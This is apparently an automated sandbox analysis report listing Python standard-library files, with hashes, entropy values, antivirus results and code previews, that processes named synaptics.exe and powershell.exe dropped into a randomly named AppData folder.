              Preview:o.......:.-d.i.......................@...sJ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d8d.d...Z.d.d...Z.d9d.d...Z.d8d.d...Z.d8d.d...Z.d.Z.d.Z.G.d.d...d...Z.e...Z.d.d...Z.e.e.d.d.d.f.d.d...Z.e.e.d.d.f.d.d...Z.e.f.d.d...Z.d.d...Z.d.d...Z.d:d.d ..Z.d;d!d"..Z.d:d#d$..Z.d<d%d&..Z.d9d'd(..Z.d9d)d*..Z.d+d,..Z.G.d-d...d...Z.d/d0..Z.d1d2..Z.d3Z.G.d4d5..d5e ..Z!G.d6d7..d7..Z"d.S.)=z@Extract, format and print information about Python stack traces......N)...extract_stack..extract_tb..format_exception..format_exception_only..format_list..format_stack..format_tb..print_exc..format_exc..print_exception..print_last..print_stack..print_tb..clear_frames..FrameSummary..StackSummary..TracebackException..walk_stack..walk_tbc....................C...s4...|.d.u.r.t.j.}.t...|.......D.].}.t.|.|.d.d.....q.d.S.).zyPrint the list of tuples as returned by extract_tb() or. extract_stack() as a formatted stack trace to the given file.N......file..end)...sys..stderrr......from_list..format..print)...extracted_l

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\types.cpython-310.pyc.23879152

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):9548
              Entropy (8bit):5.14902771101136
              Encrypted:false
              SSDEEP:
              MD5:D349511E74ECDBF3B0EAA6F7B46FAEFE
              SHA1:032FA6C126CD4DD11C6F7F8213A8DF265B3D8475
              SHA-256:6F58622BA452B6DAACC3BB41933F5D0F0F679A53814028B7373B75183ED81CAD
              SHA-512:F7C4FECBC0DF365446DFA4469A30FD418769B0820D687BEA2EB577EAFA19914F6E1267C8DEEB3D329ED9C69BA0C8C1D2D4760EF1CEB2C824EA284874CE222FD5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.(.......................@...s....d.Z.d.d.l.Z.d.d...Z.e.e...Z.e.d.d.....Z.e.e.j...Z.e.e.j...Z.e.e.j...Z.d.d...Z.e.e.....Z.d.d...Z.e.e.....Z.d.d...Z.e...Z.e.e...Z.e.......d.d...Z.e...Z.e.e...Z.G.d.d...d...Z.e.e...j...Z.e.e...Z.e.g.j...Z.e.e.j...Z.e.e...j...Z e.e!j"..Z#e.e$j.d.....Z%e.e...Z&z.e'....e'y.......e..(..d...Z)e.e)..Z*e.e)j+..Z,d.Z)[)Y.n.w.e.e.j...Z-e.e.j...Z/[.[.[.[.[.[.d$d.d...Z0d.d...Z1d%d.d...Z2d.d...Z3G.d.d...d...Z4G.d.d...d...Z5d d!..Z6e.e7e8....Z9e.e8e!B...Z:e.e;..Z<e.d...Z=e.e>..Z?d"d#..e@..D...ZAd.S.)&zO.Define names for built-in types that aren't directly accessible as a builtin.......Nc....................C........d.S...N..r....r....r.....3C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\types.py.._f...........r....c....................C...r....r....r....r....r....r....r......<lambda>....r....r....c........................s....d.....f.d.d...}.|.j.d...S.).N.....c........................r....r....r....r........ar....r......f....r....z._cell_factory.<locals>.fr...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\typing.cpython-310.pyc.59314520

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):85300
              Entropy (8bit):5.275020313652255
              Encrypted:false
              SSDEEP:
              MD5:B207501014EF7FDCF122C64CBA66C957
              SHA1:A62EE43FFDF5AFB7D95C1764120C5AC4E6938ACB
              SHA-256:855EE17ED0BD9164D63C4E9409945AFFCA7C34AB39C4F928A5588952AC9A3F98
              SHA-512:B7EF163BE084B1ABCFBADAF0333C07D89CCA6724F2CD5EC86A420274B2DDA831D1D5A1C992D197A9E66DEC6B0FEDF5C5BFF4B4E4B61D18BB584478CB226113D9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d*..d*e"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d|..d|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\uu.cpython-310.pyc.55823440

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3711
              Entropy (8bit):5.569102829452491
              Encrypted:false
              SSDEEP:
              MD5:A791981EA17563CE9794AC7645E10324
              SHA1:0C06CCB6014442BE7C31E6251EC68E3DA1C91684
              SHA-256:F31359C7D157D58C89F128079D5976AA3C80C8759F56CBF3982F53E77C6284CA
              SHA-512:3919B2251B3FC041A30360EB4B3CB1375C248B3387DAF20AA1C5CED17BBEA3EACE5EFFDA12B6A9B717EDE7EA4423033B2B08E589D0A1203F5833D2FAFF647D37
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.d.d.d...d.d...Z.d.d.d...Z.d.d...Z.e.d.k.r4e.....d.S.d.S.).z.Implementation of the UUencode and UUdecode functions...encode(in_file, out_file [,name, mode], *, backtick=False).decode(in_file [, out_file, mode, quiet])......N)...Error..encode..decodec....................@...s....e.Z.d.Z.d.S.).r....N)...__name__..__module__..__qualname__..r....r.....0C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\uu.pyr....'...s........r....F....backtickc....................C...sx...g.}.z.|.d.k.r.t.j.j.}.n/t.|.t...r;|.d.u.r.t.j...|...}.|.d.u.r1z.t...|...j.}.W.n...t.y0......Y.n.w.t.|.d...}.|...|.....|.d.k.rDt.j.j.}.n.t.|.t...rSt.|.d...}.|...|.....|.d.u.rYd.}.|.d.u.r_d.}.|...d.d...}.|...d.d...}.|...d.|.d.@.|.f.....d.......|...d...}.t.|...d.k.r.|...t.j.|.|.d.......|...d...}.t.|...d.k.s.|.r.|...d.....n.|...d.....W.|.D.].}.|.......q.d.S.|.D.].}.|.......q.w.).z.Uuencode file..-N..rb..wbi.......z.\n...z.\rz.begin %o %s.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\warnings.cpython-310.pyc.30251904

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):13669
              Entropy (8bit):5.3795897781588105
              Encrypted:false
              SSDEEP:
              MD5:56E73828290F9A83F44B64F8DE6D73C6
              SHA1:552F3729EA7AD83B0D906F88D527B386BDF00F8C
              SHA-256:DCA44C290A2939C7185DF560A32ACD4EECE40C8A62E6C932C732CFFFA8C664CB
              SHA-512:6D25C871AA5F1975CF3786C2CF1BF2AF2FCB07935877E69DD09D59BCF2C4F59D93A4412A123D20A871037E1134FAA141F14C0AC96E542CCCA7D121DF7E133F6E
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d=d.d...Z.d>d.d...Z.d.d...Z.d.d...Z.e.Z.d.d...Z.e.Z.d.d...Z.d.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d?d)d*..Z.....d@d+d,..Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.d1d2..Z.z.d.d3l.m.Z.m Z m!Z!m.Z.m.Z.m"Z"..e Z#e!Z$d4Z%W.n...e&y.......g.Z.d5Z#i.Z$d(a'd6d7..Z"d.Z%Y.n.w.e.e.j(....e%s.e)e.d8..s.e.d5e*d9d(d:....e.d;e*d(d<....e.d;e+d(d<....e.d;e,d(d<....e.d;e-d(d<....[%d.S.)Az&Python part of the warnings subsystem......N)...warn..warn_explicit..showwarning..formatwarning..filterwarnings..simplefilter..resetwarnings..catch_warningsc....................C...s....t.|.|.|.|.|.|...}.t.|.....d.S.)..7Hook to write a warning to a file; replace if you like.N)...WarningMessage.._showwarnmsg_impl)...message..category..filename..lineno..file..line..msg..r.....6C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\warnings.pyr........s........r....c....................C...s....t.|.|.|

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\weakref.cpython-310.pyc.55339280

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):20366
              Entropy (8bit):5.08457121964544
              Encrypted:false
              SSDEEP:
              MD5:D0FE3D0175A04413C39B7DB79E5926E2
              SHA1:306ACF91633B6BA4AD21B86A4D85622D0CBE3BF7
              SHA-256:82845D23CF96BE87C916FF267AF4F6AFD410479A2313C55B0F757B2D16FA7C6F
              SHA-512:30AE47A6AFBFDEACD4332F59DDFDA2D1C736B13F1377E9950DBE42351088A5DEB9233745E4C7C6F4EBF5D345A5228FC4BCF8ECA46F7C9BE6D4C3E1B211A66DC8
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.V.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.e.f.Z.g.d...Z.e.j...e.....e.j...e.....G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d...Z.d.S.).z|Weak reference support for Python...This module is an implementation of PEP 205:..https://www.python.org/dev/peps/pep-0205/......)...getweakrefcount..getweakrefs..ref..proxy..CallableProxyType..ProxyType..ReferenceType.._remove_dead_weakref)...WeakSet.._IterationGuardN).r....r....r....r......WeakKeyDictionaryr....r....r......ProxyTypes..WeakValueDictionaryr......WeakMethod..finalizec........................sD...e.Z.d.Z.d.Z.d.Z.d.d.d...Z...f.d.d...Z.d.d...Z.d.d...Z.e.j.Z.....Z.S.).r....z.. A custom `weakref.ref` subclass which simulates a weak reference to. a bound method, working around the lifetime problem of bound methods.. )..._func_ref.._meth_type.._alive..__weakref__Nc........................sx...z.|.j.}.|.j.}.W.n...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_aix_support.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3359
              Entropy (8bit):5.102406469186923
              Encrypted:false
              SSDEEP:
              MD5:4DEA757F6D3EB1A2EF11BDAAD4E23DD2
              SHA1:4806A790E4801C528111299BAD115F604D4C53EB
              SHA-256:E10D74710901AE5610CAD66273F45F24FE446CAA74AD27D3F7C199CEB92C9B21
              SHA-512:68249AAEAD32F52E6555FC0B688DB8A6DFD33BC0F5C975EFC8EAA0A74EEA9152318836C653790FA7C38BA2DC26D5766544B89D92BAB64372B0750F89D5360C53
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              • Antivirus: Virustotal, Detection: 0%, Browse
              Reputation:unknown
              Preview:"""Shared AIX support functions."""....import sys..import sysconfig....try:.. import subprocess..except ImportError: # pragma: no cover.. # _aix_support is used in distutils by setup.py to build C extensions,.. # before subprocess dependencies like _posixsubprocess are available... import _bootsubprocess as subprocess......def _aix_tag(vrtl, bd):.. # type: (List[int], int) -> str.. # Infer the ABI bitwidth from maxsize (assuming 64 bit as the default).. _sz = 32 if sys.maxsize == (2**31-1) else 64.. # vrtl[version, release, technology_level].. return "aix-{:1x}{:1d}{:02d}-{:04d}-{}".format(vrtl[0], vrtl[1], vrtl[2], bd, _sz)......# extract version, release and technology level from a VRMF string..def _aix_vrtl(vrmf):.. # type: (str) -> List[int].. v, r, tl = vrmf.split(".")[:3].. return [int(v[-1]), int(r), int(tl)]......def _aix_bosmp64():.. # type: () -> Tuple[str, int].. """.. Return a Tuple[str, int] e.g., ['7.1.4.34', 1806].. The fi

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_bootsubprocess.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2772
              Entropy (8bit):4.431404312247647
              Encrypted:false
              SSDEEP:
              MD5:977B851F41A21AB6862A9527A8490AB5
              SHA1:9F882F4FFF8CB58CDF9F874A7E74DBEAE824E430
              SHA-256:4C817B46039F0162413A4384EFFEA304E933307E9B40527C8AB02FB64079AB7D
              SHA-512:1B24DAA30A11A1F8E4A455558E4B2D74EBFCBF7EC1275F3D1C54EB02AD820CA037D98166B6B53C8350D9BDDAEDF0BD5EFD3E508EE6AEF186FA5BDC3193C9A374
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              • Antivirus: Virustotal, Detection: 0%, Browse
              Reputation:unknown
              Preview:"""..Basic subprocess implementation for POSIX which only uses os functions. Only..implement features required by setup.py to build C extension modules when..subprocess is unavailable. setup.py is not used on Windows..."""..import os......# distutils.spawn used by distutils.command.build_ext..# calls subprocess.Popen().wait()..class Popen:.. def __init__(self, cmd, env=None):.. self._cmd = cmd.. self._env = env.. self.returncode = None.... def wait(self):.. pid = os.fork().. if pid == 0:.. # Child process.. try:.. if self._env is not None:.. os.execve(self._cmd[0], self._cmd, self._env).. else:.. os.execv(self._cmd[0], self._cmd).. finally:.. os._exit(1).. else:.. # Parent process.. _, status = os.waitpid(pid, 0).. self.returncode = os.waitstatus_to_exitcode(status).... return self.ret

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):33455
              Entropy (8bit):4.523318335419718
              Encrypted:false
              SSDEEP:
              MD5:FAA0E5D517CF78B567A197CB397B7EFC
              SHA1:2D96F3E00AB19484FF2487C5A8B59DFE56A1C3AC
              SHA-256:266CCCEB862EA94E2B74FDDA4835F8EF149D95C0FC3AAFE12122D0927E686DD3
              SHA-512:295601F6A33DD0E9C38B5756BFA77C79402E493362FB7F167B98A12208BAC765101E91A66398D658E1673B7624C8D1A27F6E12EC32FEF22DF650B64E7728CA8D
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              • Antivirus: Virustotal, Detection: 0%, Browse
              Reputation:unknown
              Preview:# Copyright 2007 Google, Inc. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Abstract Base Classes (ABCs) for collections, according to PEP 3119.....Unit tests are in test_collections..."""....from abc import ABCMeta, abstractmethod..import sys....Generiuseras = type(list[int])..EllipsisType = type(...)..def _f(): pass..FunctionType = type(_f)..del _f....__all__ = ["Awaitable", "Coroutine",.. "AsyncIterable", "AsyncIterator", "AsyncGenerator",.. "Hashable", "Iterable", "Iterator", "Generator", "Reversible",.. "Sized", "Container", "Callable", "Collection",.. "Set", "MutableSet",.. "Mapping", "MutableMapping",.. "MappingView", "KeysView", "ItemsView", "ValuesView",.. "Sequence", "MutableSequence",.. "ByteString",.. ]....# This module has been renamed from collections.abc to _collections_abc to..# speed up interpreter startup. Some of the types such as MutableMapping ar

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_compat_pickle.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):9000
              Entropy (8bit):5.07161975591546
              Encrypted:false
              SSDEEP:
              MD5:39786C0D6501D2955C13CFD37EA658CA
              SHA1:D099113552AA952CBA09ED87CE277EE15D297749
              SHA-256:722B53F3D1843ED446B55B92D039A58B139503192B4D818B2D8B8231EB32E7AB
              SHA-512:D5D94D9D889D6E8652C111625E148BAEF924AFBA08CBEDD450787743435AB121E56DFC18206C29082ED1D96FCE3AC222FA5822C99A0A992971C37A6450823296
              Malicious:false
              Reputation:unknown
              Preview:# This module is used to map the old Python 2 names to the new names used in..# Python 3 for the pickle module. This needed to make pickle streams..# generated with Python 2 loadable by Python 3.....# This is a copy of lib2to3.fixes.fix_imports.MAPPING. We cannot import..# lib2to3 and use the mapping defined there, because lib2to3 uses pickle...# Thus, this could cause the module to be imported recursively...IMPORT_MAPPING = {.. '__builtin__' : 'builtins',.. 'copy_reg': 'copyreg',.. 'Queue': 'queue',.. 'SocketServer': 'socketserver',.. 'ConfigParser': 'configparser',.. 'repr': 'reprlib',.. 'tkFileDialog': 'tkinter.filedialog',.. 'tkSimpleDialog': 'tkinter.simpledialog',.. 'tkColorChooser': 'tkinter.colorchooser',.. 'tkCommonDialog': 'tkinter.commondialog',.. 'Dialog': 'tkinter.dialog',.. 'Tkdnd': 'tkinter.dnd',.. 'tkFont': 'tkinter.font',.. 'tkMessageBox': 'tkinter.messagebox',.. 'ScrolledText': 'tkinter.scrolledtext',.. 'Tkconstants':

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_compression.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5843
              Entropy (8bit):4.312570122004757
              Encrypted:false
              SSDEEP:
              MD5:F75E9299E14E9B11FD7DAE94D061253E
              SHA1:6025D13A35D283496DC83444366FE93E22B03B61
              SHA-256:A10CF1A317374641BCDB8252499E9CB9D4D6E774AC724EDFDDDD0433EAD771D9
              SHA-512:BEE88E9C44A2477E7679F47F414FF8327AD06EF4E81D65405A1D55E9684040838C9F30F3F0A35FF0C5A7E850B858FE83E48734BE7EA171A1F5DBB75FB45A2FB7
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Internal classes used by the gzip, lzma and bz2 modules"""....import io..import sys....BUFFER_SIZE = io.DEFAULT_BUFFER_SIZE # Compressed data read chunk size......class BaseStream(io.BufferedIOBase):.. """Mode-checking helper functions.""".... def _check_not_closed(self):.. if self.closed:.. raise ValueError("I/O operation on closed file").... def _check_can_read(self):.. if not self.readable():.. raise io.UnsupportedOperation("File not open for reading").... def _check_can_write(self):.. if not self.writable():.. raise io.UnsupportedOperation("File not open for writing").... def _check_can_seek(self):.. if not self.readable():.. raise io.UnsupportedOperation("Seeking is only supported ".. "on files open for reading").. if not self.seekable():.. raise io.UnsupportedOperation("The underlying file object "..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_markupbase.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15049
              Entropy (8bit):4.144690404366886
              Encrypted:false
              SSDEEP:
              MD5:2DFE8125174DDC3D0694E41EB8489C58
              SHA1:EF097AC9988D1E06BE47D771008B53797682156D
              SHA-256:914361CF055D5D2E1B69A2603A5C94B22DEDB987D72CE9F791AFEC0524718F28
              SHA-512:E5657D6619EA50AEE6051808F5C153B75438C97231010F898D9884937C7370241C4C41FA695B002D1AEA0489994F4FD96D3ADE037ECF30D761A99019F9E1E043
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Shared support for scanning document type declarations in HTML and XHTML.....This module is used as a foundation for the html.parser module. It has no..documented public API and should not be used directly....."""....import re...._declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]*\s*').match.._declstringlit_match = re.compile(r'(\'[^\']*\'|"[^"]*")\s*').match.._commentclose = re.compile(r'--\s*>').._markedsectionclose = re.compile(r']\s*]\s*>')....# An analysis of the MS-Word extensions is available at..# http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf...._msmarkedsectionclose = re.compile(r']\s*>')....del re......class ParserBase:.. """Parser base class which provides some common support methods used.. by the SGML/HTML and XHTML parsers.""".... def __init__(self):.. if self.__class__ is ParserBase:.. raise RuntimeError(.. "_markupbase.ParserBase must be subclassed").... def reset(self):.. self.lineno = 1..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_osx_support.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):22361
              Entropy (8bit):4.723787766897489
              Encrypted:false
              SSDEEP:
              MD5:FC4CA3F0DD53369CBDE78E6F34D6D1E0
              SHA1:EF1914BA73779F330B6EBB6F68752E5302F4C5E4
              SHA-256:66881ABF03400804BC29B465BE8A6560A78EFED1F7CED3FAF9FECAA586157B00
              SHA-512:6E6D3F2D62200478381E337872F27F65C86650D88F6E69ADBFB25FD90B9F2A94466253D6670727863DD33A9318F11D800E754E2969BE183DF5B2C1E18FBC0834
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""Shared OS X support functions."""....import os..import re..import sys....__all__ = [.. 'compiler_fixup',.. 'customize_config_vars',.. 'customize_compiler',.. 'get_platform_osx',..]....# configuration variables that may contain universal build flags,..# like "-arch" or "-isdkroot", that may need customization for..# the user environment.._UNIVERSAL_CONFIG_VARS = ('CFLAGS', 'LDFLAGS', 'CPPFLAGS', 'BASECFLAGS',.. 'BLDSHARED', 'LDSHARED', 'CC', 'CXX',.. 'PY_CFLAGS', 'PY_LDFLAGS', 'PY_CPPFLAGS',.. 'PY_CORE_CFLAGS', 'PY_CORE_LDFLAGS')....# configuration variables that may contain compiler calls.._COMPILER_CONFIG_VARS = ('BLDSHARED', 'LDSHARED', 'CC', 'CXX')....# prefix added to original configuration variable names.._INITPRE = '_OSX_SUPPORT_INITIAL_'......def _find_executable(executable, path=None):.. """Tries to find 'executable' in the directories listed in 'path'..... A string listing dir

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_py_abc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6336
              Entropy (8bit):4.398612520141537
              Encrypted:false
              SSDEEP:
              MD5:E9F2D6D09F06D7E0772B74B32759881C
              SHA1:6E4A2145565B7B9436CB7DB5CF18FA97E9B3BEE0
              SHA-256:8F790C97331A66EA442964314843F7CC8863FB3D9B899183F6D02598D4361A5C
              SHA-512:D3D22D17387A04B79AB54C7F71E994A075AB309057A8F98A3972E0F17535C4D905342D282ECF3D1A8A99351BBC8AEC207E7E277B0377255572153A80EFBB07A6
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:from _weakrefset import WeakSet......def get_cache_token():.. """Returns the current ABC cache token..... The token is an opaque object (supporting equality testing) identifying the.. current version of the ABC cache for virtual subclasses. The token changes.. with every call to ``register()`` on any ABC... """.. return ABCMeta._abc_invalidation_counter......class ABCMeta(type):.. """Metaclass for defining Abstract Base Classes (ABCs)..... Use this metaclass to create an ABC. An ABC can be subclassed.. directly, and then acts as a mix-in class. You can also register.. unrelated concrete classes (even built-in classes) and unrelated.. ABCs as 'virtual subclasses' -- these and their descendants will.. be considered subclasses of the registering ABC by the built-in.. issubclass() function, but the registering ABC won't show up in.. their MRO (Method Resolution Order) nor will method.. implementations defined by the registering ABC be callable

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_pydecimal.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):235086
              Entropy (8bit):4.562739393111887
              Encrypted:false
              SSDEEP:
              MD5:21CC2DE5228D758FC246AE2FBDEAC4FD
              SHA1:AFCB2A98A4E45128694B949931E9C759124A9CEC
              SHA-256:690E82A528EFB2E9C6C4B624BF28D9F7DF9B8007C3E26FC606ABE8E4C670734A
              SHA-512:C72CE199737C56D2A2214CF9B3C047713C5115A110E3D7F6E35F03CE4ECAB84B76D1E144B04659BE66C30C280747A3167518FB2A9A947F0E08065587B714613D
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (c) 2004 Python Software Foundation...# All rights reserved.....# Written by Eric Price <eprice at tjhsst.edu>..# and Facundo Batista <facundo at taniquetil.com.ar>..# and Raymond Hettinger <python at rcn.com>..# and Aahz <aahz at pobox.com>..# and Tim Peters....# This module should be kept in sync with the latest updates of the..# IBM specification as it evolves. Those updates will be treated..# as bug fixes (deviation from the spec is a compatibility, usability..# bug) and will be backported. At this point the spec is stabilizing..# and the updates are becoming fewer, smaller, and less significant....."""..This is an implementation of decimal floating point arithmetic based on..the General Decimal Arithmetic Specification:.... http://speleotrove.com/decimal/decarith.html....and IEEE standard 854-1987:.... http://en.wikipedia.org/wiki/IEEE_854-1987....Decimal floating point has finite precision with arbitrarily large bounds.....The purpose of this modul

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_pyio.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):97185
              Entropy (8bit):4.3648688617698745
              Encrypted:false
              SSDEEP:
              MD5:0D371E43F9E94B567CF4701233E240CB
              SHA1:516298CDB14B87A60CCD14FC1742BF8F1EE26197
              SHA-256:8F2DC04AC4E7281967EC2F124C7CE64CAFF24018A88540AFDE3407A26873589E
              SHA-512:B6E175F27F17F9B90857DBABE64601A5674FDBA0A8E8494649A5890024E7C83092D92C2E892573572F5E8CEF854F0021E0F877C90C38179305A3B1589C899E16
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..Python implementation of the io module..."""....import os..import abc..import codecs..import errno..import stat..import sys..# Import _thread instead of threading to reduce startup cost..from _thread import allocate_lock as Lock..if sys.platform in {'win32', 'cygwin'}:.. from msvcrt import setmode as _setmode..else:.. _setmode = None....import io..from io import (__all__, SEEK_SET, SEEK_CUR, SEEK_END)....valid_seek_flags = {0, 1, 2} # Hardwired values..if hasattr(os, 'SEEK_HOLE') :.. valid_seek_flags.add(os.SEEK_HOLE).. valid_seek_flags.add(os.SEEK_DATA)....# open() uses st_blksize whenever we can..DEFAULT_BUFFER_SIZE = 8 * 1024 # bytes....# NOTE: Base classes defined here are registered with the "official" ABCs..# defined in io.py. We don't use real inheritance though, because we don't want..# to inherit the C implementations.....# Rebind for compatibility..BlockingIOError = BlockingIOError....# Does io.IOBase finalizer log the exception if the close() method fails?

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3231
              Entropy (8bit):4.290837712719538
              Encrypted:false
              SSDEEP:
              MD5:2E95AAF9BD176B03867862B6DC08626A
              SHA1:3AFA2761119AF29519DC3DAD3D6C1A5ABCA67108
              SHA-256:924F95FD516ECAEA9C9AF540DC0796FB15EC17D8C42B59B90CF57CFE15962E2E
              SHA-512:080495FB15E7C658094CFE262A8BD884C30580FD6E80839D15873F27BE675247E2E8AEC603D39B614591A01ED49F5A07DD2ACE46181F14B650C5E9EC9BB5C292
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              Reputation:unknown
              Preview:"""..The objects used by the site module to add custom builtins..."""....# Those objects are almost immortal and they keep a reference to their module..# globals. Defining them in the site module would keep too many references..# alive...# Note this means this module should also avoid keep things alive in its..# globals.....import sys....class Quitter(object):.. def __init__(self, name, eof):.. self.name = name.. self.eof = eof.. def __repr__(self):.. return 'Use %s() or %s to exit' % (self.name, self.eof).. def __call__(self, code=None):.. # Shells like IDLE catch the SystemExit, but listen when their.. # stdin wrapper is closed... try:.. sys.stdin.close().. except:.. pass.. raise SystemExit(code)......class _Printer(object):.. """interactive prompt objects for printing the license text, a list of.. contributors and the copyright notice.""".... MAXLINES = 23.... def __init__(self, name,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_strptime.py

              Download File
